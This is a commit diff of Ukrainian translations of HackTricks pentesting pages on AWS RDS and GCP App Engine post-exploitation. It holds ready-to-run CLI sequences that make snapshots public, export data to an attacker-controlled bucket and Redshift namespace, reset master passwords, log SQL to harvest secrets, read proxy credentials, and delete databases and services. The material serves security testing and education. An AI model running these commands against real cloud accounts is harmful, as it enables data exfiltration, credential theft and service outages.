mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 22:51:09 -07:00
Translated ['src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp
This commit is contained in:
+98
-71
@@ -12,7 +12,7 @@
|
||||
|
||||
### `rds:CreateDBSnapshot`, `rds:RestoreDBInstanceFromDBSnapshot`, `rds:ModifyDBInstance`
|
||||
|
||||
Якщо в нападника є достатні дозволи, він може зробити **DB publicly accessible**, створивши snapshot DB, а потім публічно доступну DB зі snapshot.
|
||||
Якщо в нападника достатньо дозволів, він може зробити **DB публічно доступною**, створивши snapshot DB, а потім створивши з нього публічно доступну DB.
|
||||
```bash
|
||||
aws rds describe-db-instances # Get DB identifier
|
||||
|
||||
@@ -39,21 +39,49 @@ aws rds modify-db-instance \
|
||||
# Connect to the new DB after a few mins
|
||||
```
|
||||
### `rds:StopDBCluster` & `rds:StopDBInstance`
|
||||
Зловмисник, який має rds:StopDBCluster або rds:StopDBInstance, може примусово негайно зупинити RDS instance або весь кластер, спричинивши недоступність бази даних, розриви з'єднань та переривання процесів, що залежать від бази даних.
|
||||
Атакуючий з правами rds:StopDBCluster або rds:StopDBInstance може примусово негайно зупинити екземпляр RDS або весь кластер, спричиняючи недоступність бази даних, розірвані з'єднання та переривання процесів, що залежать від бази даних.
|
||||
|
||||
Щоб зупинити один DB instance (приклад):
|
||||
Щоб зупинити один екземпляр DB (приклад):
|
||||
```bash
|
||||
aws rds stop-db-instance \
|
||||
--db-instance-identifier <DB_INSTANCE_IDENTIFIER>
|
||||
```
|
||||
Щоб зупинити весь DB-кластер (приклад):
|
||||
Щоб зупинити весь DB cluster (наприклад):
|
||||
```bash
|
||||
aws rds stop-db-cluster \
|
||||
--db-cluster-identifier <DB_CLUSTER_IDENTIFIER>
|
||||
```
|
||||
### `rds:Modify*`
|
||||
Атакувальник, якому надано права `rds:Modify*`, може змінювати критично важливі конфігурації та допоміжні ресурси (parameter groups, option groups, proxy endpoints and endpoint-groups, target groups, subnet groups, capacity settings, snapshot/cluster attributes, certificates, integrations тощо) без прямого втручання в інстанс чи кластер. Зміни, такі як регулювання параметрів підключення/time-out, зміна proxy endpoint, модифікація того, яким certificates довіряють, зміна логічної ємності або переналаштування subnet group можуть послабити безпеку (відкрити нові шляхи доступу), порушити маршрутизацію та load-balancing, знецінити replication/backup політики та загалом погіршити доступність або відновлюваність. Ці модифікації також можуть полегшити непряму data exfiltration або ускладнити впорядковане відновлення бази даних після інциденту.
|
||||
|
||||
Move or change the subnets assigned to an RDS subnet group:
|
||||
```bash
|
||||
aws rds modify-db-subnet-group \
|
||||
--db-subnet-group-name <db-subnet-group-name> \
|
||||
--subnet-ids <subnet-id-1> <subnet-id-2>
|
||||
```
|
||||
Змінити низькорівневі engine parameters у cluster parameter group:
|
||||
```bash
|
||||
aws rds modify-db-cluster-parameter-group \
|
||||
--db-cluster-parameter-group-name <parameter-group-name> \
|
||||
--parameters "ParameterName=<parameter-name>,ParameterValue=<value>,ApplyMethod=immediate"
|
||||
```
|
||||
### `rds:Restore*`
|
||||
|
||||
Зловмисник із дозволами rds:Restore* може відновлювати цілі бази даних зі знімків, автоматичних резервних копій, відновлення до певної точки в часі (PITR) або з файлів, що зберігаються в S3, створюючи нові інстанси чи кластери, наповнені даними з вибраної точки. Ці операції не перезаписують оригінальні ресурси — вони створюють нові об'єкти, що містять історичні дані — що дозволяє зловмиснику отримати повні, працездатні копії бази даних (з попередніх точок часу або з зовнішніх файлів S3) і використовувати їх для exfiltrate даних, маніпулювання історичними записами або відтворення попередніх станів.
|
||||
|
||||
Відновити DB інстанс до конкретної точки часу:
|
||||
```bash
|
||||
aws rds restore-db-instance-to-point-in-time \
|
||||
--source-db-instance-identifier <source-db-instance-identifier> \
|
||||
--target-db-instance-identifier <target-db-instance-identifier> \
|
||||
--restore-time "<restore-time-ISO8601>" \
|
||||
--db-instance-class <db-instance-class> \
|
||||
--publicly-accessible --no-multi-az
|
||||
```
|
||||
### `rds:Delete*`
|
||||
|
||||
Зловмисник, якому надано rds:Delete*, може видаляти ресурси RDS, знищуючи DB instances, clusters, snapshots, automated backups, subnet groups, parameter/option groups та пов'язані артефакти, що спричинить негайний простій сервісу, втрату даних, знищення точок відновлення та втрату судово-експертних доказів.
|
||||
Атакуючий, якому надано rds:Delete*, може видаляти RDS resources — DB instances, clusters, snapshots, automated backups, subnet groups, parameter/option groups та пов’язані артефакти, що призводить до негайного відключення сервісу, втрати даних, знищення recovery points і втрати судових доказів.
|
||||
```bash
|
||||
# Delete a DB instance (creates a final snapshot unless you skip it)
|
||||
aws rds delete-db-instance \
|
||||
@@ -76,9 +104,9 @@ aws rds delete-db-cluster \
|
||||
```
|
||||
### `rds:ModifyDBSnapshotAttribute`, `rds:CreateDBSnapshot`
|
||||
|
||||
An attacker з цими дозволами міг би **створити snapshot бази даних (DB)** і зробити його **публічно** **доступним**. Потім він міг би просто створити у своєму акаунті DB з цього snapshot.
|
||||
Атакуючий з цими дозволами може **створити snapshot DB** і зробити його **публічно** **доступним**. Потім він може просто створити у своєму акаунті DB з цього snapshot.
|
||||
|
||||
Якщо attacker **не має `rds:CreateDBSnapshot`**, він все одно може зробити **інші** створені snapshots **публічними**.
|
||||
Якщо атакуючий **не має `rds:CreateDBSnapshot`**, він все одно може зробити **інші** створені snapshots **публічними**.
|
||||
```bash
|
||||
# create snapshot
|
||||
aws rds create-db-snapshot --db-instance-identifier <db-instance-identifier> --db-snapshot-identifier <snapshot-name>
|
||||
@@ -89,48 +117,48 @@ aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --
|
||||
```
|
||||
### `rds:DownloadDBLogFilePortion`
|
||||
|
||||
Зловмисник із дозволом `rds:DownloadDBLogFilePortion` може **завантажувати частини лог-файлів екземпляра RDS**. Якщо чутливі дані або облікові дані доступу випадково потрапили в логи, зловмисник потенційно може використати цю інформацію для підвищення привілеїв або виконання несанкціонованих дій.
|
||||
Зловмисник, який має дозвіл `rds:DownloadDBLogFilePortion`, може **download portions of an RDS instance's log files**. Якщо в логах випадково опиняться чутливі дані або облікові дані доступу, зловмисник потенційно зможе використати цю інформацію для ескалації привілеїв або виконання несанкціонованих дій.
|
||||
```bash
|
||||
aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text
|
||||
```
|
||||
**Потенційний вплив**: Доступ до конфіденційної інформації або несанкціоновані дії з використанням leaked credentials.
|
||||
**Потенційний вплив**: Доступ до чутливої інформації або несанкціоновані дії з використанням leaked credentials.
|
||||
|
||||
### `rds:DeleteDBInstance`
|
||||
|
||||
Зловмисник з цими дозволами може **виконати DoS над існуючими RDS інстансами**.
|
||||
Атакуючий з такими дозволами може **DoS existing RDS instances**.
|
||||
```bash
|
||||
# Delete
|
||||
aws rds delete-db-instance --db-instance-identifier target-instance --skip-final-snapshot
|
||||
```
|
||||
**Потенційний вплив**: видалення існуючих RDS інстансів та потенційна втрата даних.
|
||||
**Потенційний вплив**: Видалення існуючих RDS інстансів та потенційна втрата даних.
|
||||
|
||||
### `rds:StartExportTask`
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Перевірити
|
||||
> TODO: Test
|
||||
|
||||
Зловмисник з цим дозволом може **експортувати знімок екземпляра RDS у S3 bucket**. Якщо зловмисник контролює цільовий S3 bucket, він може потенційно отримати доступ до конфіденційних даних в експортованому знімку.
|
||||
Зловмисник з цим дозволом може **експортувати снапшот інстансу RDS у S3 bucket**. Якщо зловмисник має контроль над цільовим S3 bucket, він може потенційно отримати доступ до конфіденційних даних у експортованому снапшоті.
|
||||
```bash
|
||||
aws rds start-export-task --export-task-identifier attacker-export-task --source-arn arn:aws:rds:region:account-id:snapshot:target-snapshot --s3-bucket-name attacker-bucket --iam-role-arn arn:aws:iam::account-id:role/export-role --kms-key-id arn:aws:kms:region:account-id:key/key-id
|
||||
```
|
||||
**Потенційний вплив**: Доступ до конфіденційних даних в експортованому snapshot.
|
||||
**Можливий вплив**: Доступ до чутливих даних у експортованому snapshot.
|
||||
|
||||
### Cross-Region Automated Backups Replication for Stealthy Restore (`rds:StartDBInstanceAutomatedBackupsReplication`)
|
||||
|
||||
Зловживати cross-Region automated backups replication, щоб непомітно дублювати automated backups екземпляра RDS в інший регіон AWS і відновлювати їх там. Зловмисник може потім зробити відновлену DB загальнодоступною і скинути master password, щоб отримати доступ до даних поза межами моніторингу в регіоні, який захисники можуть не відслідковувати.
|
||||
Зловживання cross-Region automated backups replication для тихого дублювання автоматичних резервних копій інстансу RDS в інший AWS Region та відновлення їх там. Атакуючий може зробити відновлену DB публічно доступною та скинути master password, щоб отримати доступ до даних out-of-band у Region, який захисники можуть не моніторити.
|
||||
|
||||
Permissions needed (minimum):
|
||||
- `rds:StartDBInstanceAutomatedBackupsReplication` у регіоні призначення
|
||||
- `rds:DescribeDBInstanceAutomatedBackups` у регіоні призначення
|
||||
- `rds:RestoreDBInstanceToPointInTime` у регіоні призначення
|
||||
- `rds:ModifyDBInstance` у регіоні призначення
|
||||
- `rds:StopDBInstanceAutomatedBackupsReplication` (необов'язкове прибирання)
|
||||
- `rds:StartDBInstanceAutomatedBackupsReplication` in the destination Region
|
||||
- `rds:DescribeDBInstanceAutomatedBackups` in the destination Region
|
||||
- `rds:RestoreDBInstanceToPointInTime` in the destination Region
|
||||
- `rds:ModifyDBInstance` in the destination Region
|
||||
- `rds:StopDBInstanceAutomatedBackupsReplication` (опціонально — прибирання)
|
||||
- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (щоб відкрити доступ до відновленої DB)
|
||||
|
||||
Impact: Persistence and data exfiltration by restoring a copy of production data into another Region and exposing it publicly with attacker-controlled credentials.
|
||||
|
||||
<details>
|
||||
<summary>Повний CLI-процес (замініть заповнювачі)</summary>
|
||||
<summary>Повний CLI (замініть заповнювачі)</summary>
|
||||
```bash
|
||||
# 1) Recon (SOURCE region A)
|
||||
aws rds describe-db-instances \
|
||||
@@ -199,26 +227,26 @@ aws rds stop-db-instance-automated-backups-replication \
|
||||
</details>
|
||||
|
||||
|
||||
### Увімкнути повне SQL logging через DB parameter groups та ексфільтрувати через RDS log APIs
|
||||
### Увімкніть повне логування SQL через групи параметрів DB та ексфільтруйте через RDS log APIs
|
||||
|
||||
Зловживати `rds:ModifyDBParameterGroup` разом із RDS log download APIs, щоб захопити всі SQL-вирази, які виконуються додатками (не потрібні облікові дані DB engine). Увімкніть engine SQL logging та завантажте лог-файли через `rds:DescribeDBLogFiles` і `rds:DownloadDBLogFilePortion` (або REST `downloadCompleteLogFile`). Корисно для збору запитів, що можуть містити secrets/PII/JWTs.
|
||||
Зловживання `rds:ModifyDBParameterGroup` разом із RDS log download APIs для фіксації всіх SQL-операцій, що виконуються додатками (не потрібні DB engine credentials). Увімкніть engine SQL logging і завантажуйте файли журналів через `rds:DescribeDBLogFiles` та `rds:DownloadDBLogFilePortion` (або REST `downloadCompleteLogFile`). Корисно для збору запитів, які можуть містити secrets/PII/JWTs.
|
||||
|
||||
Permissions needed (minimum):
|
||||
Необхідні дозволи (мінімум):
|
||||
- `rds:DescribeDBInstances`, `rds:DescribeDBLogFiles`, `rds:DownloadDBLogFilePortion`
|
||||
- `rds:CreateDBParameterGroup`, `rds:ModifyDBParameterGroup`
|
||||
- `rds:ModifyDBInstance` (only to attach a custom parameter group if the instance is using the default one)
|
||||
- `rds:RebootDBInstance` (for parameters requiring reboot, e.g., PostgreSQL)
|
||||
- `rds:ModifyDBInstance` (лише для приєднання кастомної групи параметрів, якщо інстанс використовує стандартну)
|
||||
- `rds:RebootDBInstance` (для параметрів, що вимагають перезавантаження, напр., PostgreSQL)
|
||||
|
||||
Steps
|
||||
1) Recon target and current parameter group
|
||||
Кроки
|
||||
1) Recon ціль та поточну групу параметрів
|
||||
```bash
|
||||
aws rds describe-db-instances \
|
||||
--query 'DBInstances[*].[DBInstanceIdentifier,Engine,DBParameterGroups[0].DBParameterGroupName]' \
|
||||
--output table
|
||||
```
|
||||
2) Переконайтеся, що приєднано власний DB parameter group (за замовчуванням його редагувати не можна)
|
||||
- Якщо інстанс уже використовує власну групу, повторно використайте її назву на наступному кроці.
|
||||
- Інакше створіть і приєднайте одну, що відповідає engine family:
|
||||
2) Переконайтеся, що приєднано власну DB parameter group (за замовчуванням редагувати не можна)
|
||||
- Якщо інстанс вже використовує власну групу, повторно використайте її назву на наступному кроці.
|
||||
- Інакше створіть і приєднайте таку, що відповідає сімейству engine:
|
||||
```bash
|
||||
# Example for PostgreSQL 16
|
||||
aws rds create-db-parameter-group \
|
||||
@@ -232,8 +260,8 @@ aws rds modify-db-instance \
|
||||
--apply-immediately
|
||||
# Wait until status becomes "available"
|
||||
```
|
||||
3) Увімкнути детальне журналювання SQL
|
||||
- Движки MySQL (негайно / без перезавантаження):
|
||||
3) Увімкнути детальне логування SQL
|
||||
- MySQL engines (негайно / без перезавантаження):
|
||||
```bash
|
||||
aws rds modify-db-parameter-group \
|
||||
--db-parameter-group-name <PGNAME> \
|
||||
@@ -244,7 +272,7 @@ aws rds modify-db-parameter-group \
|
||||
# "ParameterName=slow_query_log,ParameterValue=1,ApplyMethod=immediate" \
|
||||
# "ParameterName=long_query_time,ParameterValue=0,ApplyMethod=immediate"
|
||||
```
|
||||
- PostgreSQL engines (потрібне перезавантаження):
|
||||
- PostgreSQL engines (вимагає перезавантаження):
|
||||
```bash
|
||||
aws rds modify-db-parameter-group \
|
||||
--db-parameter-group-name <PGNAME> \
|
||||
@@ -256,11 +284,11 @@ aws rds modify-db-parameter-group \
|
||||
# Reboot if any parameter is pending-reboot
|
||||
aws rds reboot-db-instance --db-instance-identifier <DB>
|
||||
```
|
||||
4) Дайте workload працювати (або згенеруйте запити). Запити будуть записані до файлів журналів engine
|
||||
4) Дайте робочому навантаженню виконуватися (або згенеруйте запити). Запити будуть записані у файли журналів движка
|
||||
- MySQL: `general/mysql-general.log`
|
||||
- PostgreSQL: `postgresql.log`
|
||||
|
||||
5) Знайдіть і завантажте логи (DB creds не потрібні)
|
||||
5) Знайдіть і завантажте журнали (облікові дані БД не потрібні)
|
||||
```bash
|
||||
aws rds describe-db-log-files --db-instance-identifier <DB>
|
||||
|
||||
@@ -271,7 +299,7 @@ aws rds download-db-log-file-portion \
|
||||
--starting-token 0 \
|
||||
--output text > dump.log
|
||||
```
|
||||
6) Проаналізуйте офлайн на предмет конфіденційних даних
|
||||
6) Проаналізувати офлайн на наявність конфіденційних даних
|
||||
```bash
|
||||
grep -Ei "password=|aws_access_key_id|secret|authorization:|bearer" dump.log | sed 's/\(aws_access_key_id=\)[A-Z0-9]*/\1AKIA.../; s/\(secret=\).*/\1REDACTED/; s/\(Bearer \).*/\1REDACTED/' | head
|
||||
```
|
||||
@@ -282,7 +310,7 @@ grep -Ei "password=|aws_access_key_id|secret|authorization:|bearer" dump.log | s
|
||||
2025-10-06T..Z 13 Query INSERT INTO t(note) VALUES ('aws_access_key_id=AKIA... secret=REDACTED')
|
||||
```
|
||||
Очищення
|
||||
- Повернути параметри до значень за замовчуванням і reboot, якщо потрібно:
|
||||
- Відновити параметри до значень за замовчуванням і перезавантажити, якщо потрібно:
|
||||
```bash
|
||||
# MySQL
|
||||
aws rds modify-db-parameter-group \
|
||||
@@ -297,19 +325,19 @@ aws rds modify-db-parameter-group \
|
||||
"ParameterName=log_statement,ParameterValue=none,ApplyMethod=pending-reboot"
|
||||
# Reboot if pending-reboot
|
||||
```
|
||||
Вплив: Post-exploitation доступ до даних шляхом перехоплення всіх SQL-запитів додатка через AWS APIs (no DB creds), ймовірне leaking секретів, JWTs та PII.
|
||||
Вплив: Post-exploitation доступ до даних шляхом перехоплення всіх SQL-запитів застосунку через AWS APIs (без облікових даних БД), що може призвести до leaking секретів, JWTs і PII.
|
||||
|
||||
### `rds:CreateDBInstanceReadReplica`, `rds:ModifyDBInstance`
|
||||
|
||||
Зловживання RDS read replicas для отримання out-of-band доступу для читання без торкання облікових даних primary instance. Зловмисник може створити read replica з production instance, скинути master password репліки (це не змінює primary) і, за потреби, виставити репліку публічно для exfiltrate даних.
|
||||
Зловживання RDS read replicas для отримання out-of-band read access без втручання в облікові дані первинного інстансу. Атакуючий може створити read replica з production instance, скинути master password репліки (це не змінює primary), і опціонально зробити репліку публічною для exfiltrate даних.
|
||||
|
||||
Необхідні дозволи (мінімум):
|
||||
Permissions needed (minimum):
|
||||
- `rds:DescribeDBInstances`
|
||||
- `rds:CreateDBInstanceReadReplica`
|
||||
- `rds:ModifyDBInstance`
|
||||
- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (якщо виставляється публічно)
|
||||
- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (якщо робити її публічною)
|
||||
|
||||
Вплив: Read-only доступ до production-даних через репліку з credentials під контролем зловмисника; нижча ймовірність виявлення, оскільки primary залишається недоторканим і реплікація продовжується.
|
||||
Вплив: Доступ лише для читання до виробничих даних через репліку з обліковими даними під контролем атакуючого; менша ймовірність виявлення, оскільки первинний інстанс залишається недоторканим і реплікація продовжується.
|
||||
```bash
|
||||
# 1) Recon: find non-Aurora sources with backups enabled
|
||||
aws rds describe-db-instances \
|
||||
@@ -341,12 +369,12 @@ REPL_ENDPOINT=$(aws rds describe-db-instances --db-instance-identifier <REPL_ID>
|
||||
# aws rds promote-read-replica --db-instance-identifier <REPL_ID>
|
||||
```
|
||||
Приклад доказів (MySQL):
|
||||
- Стан репліки БД: `available`, реплікація для читання: `replicating`
|
||||
- Успішне підключення з новим паролем і `@@read_only=1`, що підтверджує доступ до репліки лише для читання.
|
||||
- Статус репліки БД: `available`, реплікація для читання: `replicating`
|
||||
- Успішне підключення з новим паролем і `@@read_only=1`, що підтверджує доступ репліки лише для читання.
|
||||
|
||||
### `rds:CreateBlueGreenDeployment`, `rds:ModifyDBInstance`
|
||||
|
||||
Зловживання RDS Blue/Green для клонування продуктивної БД у постійно репліковане, лише для читання green середовище. Потім скиньте основні облікові дані green, щоб отримати доступ до даних без торкання blue (prod) інстансу. Це більш приховано, ніж обмін снапшотами, і часто обходить моніторинг, орієнтований лише на джерело.
|
||||
Зловживайте RDS Blue/Green, щоб клонувати production DB у постійно репліковане, доступне лише для читання green середовище. Потім скиньте green master credentials, щоб отримати доступ до даних, не зачіпаючи blue (prod) інстанс. Це менш помітно, ніж snapshot sharing, і часто обходить моніторинг, орієнтований лише на джерело.
|
||||
```bash
|
||||
# 1) Recon – find eligible source (non‑Aurora MySQL/PostgreSQL in the same account)
|
||||
aws rds describe-db-instances \
|
||||
@@ -393,22 +421,21 @@ aws rds delete-blue-green-deployment \
|
||||
--blue-green-deployment-identifier <BGD_ID> \
|
||||
--delete-target true
|
||||
```
|
||||
Вплив: Доступ лише для читання, але повний доступ до даних майже в реальному часі з клону production без змін у production-інстансі. Корисно для stealthy витягання даних та офлайн-аналізу.
|
||||
Вплив: доступ лише для читання, але повний доступ до даних у майже реальному клоні production без модифікації production instance. Корисно для прихованого витягання даних та офлайн-аналізу.
|
||||
|
||||
### Out-of-band SQL через RDS Data API шляхом увімкнення HTTP endpoint + скидання master password
|
||||
|
||||
### Out-of-band SQL via RDS Data API by enabling HTTP endpoint + resetting master password
|
||||
Зловживайте Aurora, щоб увімкнути RDS Data API HTTP endpoint на цільовому кластері, скинути master password на значення під вашим контролем та виконувати SQL через HTTPS (не потрібен мережевий шлях у VPC). Працює на движках Aurora, які підтримують Data API/EnableHttpEndpoint (наприклад, Aurora MySQL 8.0 provisioned; деякі версії Aurora PostgreSQL/MySQL).
|
||||
|
||||
Зловживати Aurora, щоб увімкнути RDS Data API HTTP endpoint на цільовому кластері, скинути master password на значення під вашим контролем і виконувати SQL через HTTPS (не потрібен мережевий шлях VPC). Працює на Aurora-двигунах, які підтримують Data API/EnableHttpEndpoint (e.g., Aurora MySQL 8.0 provisioned; some Aurora PostgreSQL/MySQL versions).
|
||||
|
||||
Дозволи (мінімальні):
|
||||
Permissions (minimum):
|
||||
- rds:DescribeDBClusters, rds:ModifyDBCluster (or rds:EnableHttpEndpoint)
|
||||
- secretsmanager:CreateSecret
|
||||
- rds-data:ExecuteStatement (та rds-data:BatchExecuteStatement, якщо використовується)
|
||||
- rds-data:ExecuteStatement (and rds-data:BatchExecuteStatement if used)
|
||||
|
||||
Вплив: Обхід сегментації мережі та exfiltrate дані через AWS APIs без прямого VPC-з'єднання з DB.
|
||||
Вплив: обходить сегментацію мережі та дозволяє exfiltrate дані через AWS APIs без прямого VPC підключення до DB.
|
||||
|
||||
<details>
|
||||
<summary>Повний приклад CLI (Aurora MySQL)</summary>
|
||||
<summary>Повний приклад через CLI (Aurora MySQL example)</summary>
|
||||
```bash
|
||||
# 1) Identify target cluster ARN
|
||||
REGION=us-east-1
|
||||
@@ -461,21 +488,21 @@ aws rds-data execute-statement --region $REGION --resource-arn "$CLUSTER_ARN" \
|
||||
</details>
|
||||
|
||||
Примітки:
|
||||
- Якщо `rds-data` відхиляє multi-statement SQL, виконуйте окремі виклики `execute-statement`.
|
||||
- Для двигунів, у яких `modify-db-cluster --enable-http-endpoint` не має ефекту, використовуйте `rds enable-http-endpoint --resource-arn`.
|
||||
- Переконайтесь, що engine/version дійсно підтримує Data API; інакше `HttpEndpointEnabled` залишиться False.
|
||||
- Якщо rds-data відхиляє multi-statement SQL, виконуйте окремі виклики execute-statement.
|
||||
- Для двигунів, де modify-db-cluster --enable-http-endpoint не має ефекту, використовуйте rds enable-http-endpoint --resource-arn.
|
||||
- Переконайтеся, що двигун/версія дійсно підтримує Data API; інакше HttpEndpointEnabled залишатиметься False.
|
||||
|
||||
|
||||
### Отримання облікових даних БД через секрети автентифікації RDS Proxy (`rds:DescribeDBProxies` + `secretsmanager:GetSecretValue`)
|
||||
### Збирання облікових даних DB через секрети автентифікації RDS Proxy (`rds:DescribeDBProxies` + `secretsmanager:GetSecretValue`)
|
||||
|
||||
Зловживання конфігурацією RDS Proxy для виявлення секрету Secrets Manager, який використовується для автентифікації бекенду, після чого зчитування цього секрету для отримання облікових даних бази даних. У багатьох середовищах надається широке `secretsmanager:GetSecretValue`, що робить це низькоперешкодним шляхом до облікових даних БД. Якщо секрет використовує CMK, неправильно сфокусовані дозволи KMS також можуть дозволяти `kms:Decrypt`.
|
||||
Зловживання конфігурацією RDS Proxy для виявлення секрету в Secrets Manager, який використовується для автентифікації бекенда, а потім читання цього секрету для отримання облікових даних бази даних. У багатьох середовищах надають широкі дозволи `secretsmanager:GetSecretValue`, що робить це низькофрикційним шляхом до DB creds. Якщо секрет використовує CMK, неправильно масштабовані дозволи KMS можуть також надати `kms:Decrypt`.
|
||||
|
||||
Необхідні дозволи (мінімум):
|
||||
- `rds:DescribeDBProxies`
|
||||
- `secretsmanager:GetSecretValue` для вказаного SecretArn
|
||||
- Опційно, якщо секрет використовує CMK: `kms:Decrypt` для цього ключа
|
||||
- `secretsmanager:GetSecretValue` на вказаному SecretArn
|
||||
- Опційно, якщо секрет використовує CMK: `kms:Decrypt` на цьому ключі
|
||||
|
||||
Вплив: негайне розкриття імені користувача/пароля БД, налаштованих на проксі; дає змогу прямого доступу до БД або подальшого латерального руху.
|
||||
Наслідки: Негайне розкриття імені користувача/пароля DB, налаштованих на проксі; дозволяє прямий доступ до DB або подальший латеральний рух.
|
||||
|
||||
Кроки
|
||||
```bash
|
||||
@@ -490,7 +517,7 @@ aws secretsmanager get-secret-value \
|
||||
--query SecretString --output text
|
||||
# Example output: {"username":"admin","password":"S3cr3t!"}
|
||||
```
|
||||
Лабораторія (мінімальні умови для відтворення)
|
||||
Лаб (мінімум для відтворення)
|
||||
```bash
|
||||
REGION=us-east-1
|
||||
ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
|
||||
@@ -516,9 +543,9 @@ aws iam detach-role-policy --role-name rds-proxy-secret-role --policy-arn arn:aw
|
||||
aws iam delete-role --role-name rds-proxy-secret-role
|
||||
aws secretsmanager delete-secret --secret-id rds/proxy/aurora-demo --force-delete-without-recovery
|
||||
```
|
||||
### Непомітна безперервна ексфільтрація через Aurora zero‑ETL в Amazon Redshift (rds:CreateIntegration)
|
||||
### Потайне безперервне виведення даних через Aurora zero‑ETL до Amazon Redshift (rds:CreateIntegration)
|
||||
|
||||
Зловживання інтеграцією Aurora PostgreSQL zero‑ETL для безперервної реплікації продукційних даних у Redshift Serverless namespace, який ви контролюєте. За наявності надмірно відкрита політика ресурсів Redshift, яка авторизує CreateInboundIntegration/AuthorizeInboundIntegration для конкретного ARN кластера Aurora, атакувальник може встановити майже реальну копію даних без DB creds, snapshots або мережевого доступу.
|
||||
Зловживання Aurora PostgreSQL zero‑ETL integration для безперервної реплікації продукційних даних у Redshift Serverless namespace під вашим контролем. За наявності дозволяючої ресурсної політики Redshift, яка авторизує CreateInboundIntegration/AuthorizeInboundIntegration для конкретного Aurora cluster ARN, нападник може встановити майже реальний час копію даних без DB creds, snapshots або мережевого експонування.
|
||||
|
||||
Permissions needed (minimum):
|
||||
- `rds:CreateIntegration`, `rds:DescribeIntegrations`, `rds:DeleteIntegration`
|
||||
@@ -576,7 +603,7 @@ aws redshift put-resource-policy --region $REGION --resource-arn "$RS_NS_ARN" --
|
||||
</details>
|
||||
|
||||
<details>
|
||||
<summary>3) Створити Aurora PostgreSQL кластер (увімкнути Data API та logical replication)</summary>
|
||||
<summary>3) Створити Aurora PostgreSQL кластер (увімкнути Data API та логічну реплікацію)</summary>
|
||||
```bash
|
||||
CLUSTER_ID=aurora-ztl
|
||||
aws rds create-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \
|
||||
@@ -619,7 +646,7 @@ aws redshift describe-inbound-integrations --region $REGION --target-arn "$RS_NS
|
||||
</details>
|
||||
|
||||
<details>
|
||||
<summary>5) Матеріалізувати та виконувати запити до реплікованих даних у Redshift</summary>
|
||||
<summary>5) Матеріалізація та виконання запитів до реплікованих даних у Redshift</summary>
|
||||
```bash
|
||||
# Create a Redshift database from the inbound integration (use integration_id from SVV_INTEGRATION)
|
||||
aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --database dev \
|
||||
@@ -632,12 +659,12 @@ aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --d
|
||||
```
|
||||
</details>
|
||||
|
||||
Докази, виявлені під час тестування:
|
||||
Докази, виявлені під час тесту:
|
||||
- redshift describe-inbound-integrations: Status ACTIVE for Integration arn:...377a462b-...
|
||||
- SVV_INTEGRATION показав integration_id 377a462b-c42c-4f08-937b-77fe75d98211 та state PendingDbConnectState перед створенням бази даних.
|
||||
- Після CREATE DATABASE FROM INTEGRATION, перелік таблиць показав схему ztl і таблицю customers; вибірка з ztl.customers повернула 2 рядки (Alice, Bob).
|
||||
- SVV_INTEGRATION показав integration_id 377a462b-c42c-4f08-937b-77fe75d98211 і стан PendingDbConnectState перед створенням DB.
|
||||
- Після CREATE DATABASE FROM INTEGRATION, при переліку таблиць виявлено схему ztl і таблицю customers; запит до ztl.customers повернув 2 рядки (Alice, Bob).
|
||||
|
||||
Вплив: Постійна майже в режимі реального часу exfiltration обраних таблиць Aurora PostgreSQL у Redshift Serverless, контрольована атакуючим, без використання database credentials, backups або мережевого доступу до вихідного кластера.
|
||||
Вплив: Постійна near‑real‑time exfiltration вибраних таблиць Aurora PostgreSQL у Redshift Serverless під контролем attacker, без використання database credentials, backups або network access до вихідного кластера.
|
||||
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
+13
-12
@@ -4,7 +4,7 @@
|
||||
|
||||
## `App Engine`
|
||||
|
||||
Для інформації про App Engine див. за посиланням:
|
||||
Для інформації про App Engine див.:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-app-engine-enum.md
|
||||
@@ -15,33 +15,34 @@
|
||||
З цими дозволами можна:
|
||||
|
||||
- Додати ключ
|
||||
- Переглянути ключі
|
||||
- Переглянути список ключів
|
||||
- Отримати ключ
|
||||
- Видалити
|
||||
|
||||
> [!CAUTION]
|
||||
> Однак я **не зміг знайти спосіб доступу до цієї інформації з cli**, лише через **web console**, де потрібно знати **Key type** та **Key name**, або з a**pp engine running app**.
|
||||
> Однак я **не зміг знайти жодного способу отримати цю інформацію через cli**, лише з **веб-консолі**, де вам потрібно знати **тип ключа** та **ім'я ключа**, або з **запущеного додатка App Engine**.
|
||||
>
|
||||
> Якщо ви знаєте простіші способи використання цих дозволів — надішліть Pull Request!
|
||||
|
||||
### `logging.views.access`
|
||||
|
||||
З цим дозволом можна **переглянути логи додатку**:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Tail app logs</summary>
|
||||
З цим дозволом можна **переглядати логи додатку App Engine**:
|
||||
```bash
|
||||
gcloud app logs tail -s <name>
|
||||
```
|
||||
</details>
|
||||
### Видалення сервісів та версій
|
||||
|
||||
### Читати Source Code
|
||||
Права `appengine.versions.delete`, `appengine.versions.list` та `appengine.services.list` дозволяють керувати та видаляти конкретні версії додатка App Engine, що може вплинути на трафік, якщо він розподілений або якщо буде видалено єдину стабільну версію. Натомість права `appengine.services.delete` та `appengine.services.list` дозволяють перелічувати та видаляти цілі сервіси — дію, яка негайно порушує увесь трафік та доступність пов'язаних версій.
|
||||
```bash
|
||||
gcloud app versions delete <VERSION_ID>
|
||||
gcloud app services delete <SERVICE_NAME>
|
||||
```
|
||||
### Перегляд Source Code
|
||||
|
||||
Source Code всіх версій та сервісів **stored in the bucket** з ім'ям **`staging.<proj-id>.appspot.com`**. Якщо у вас є write доступ до нього, ви можете читати Source Code і шукати **vulnerabilities** та **sensitive information**.
|
||||
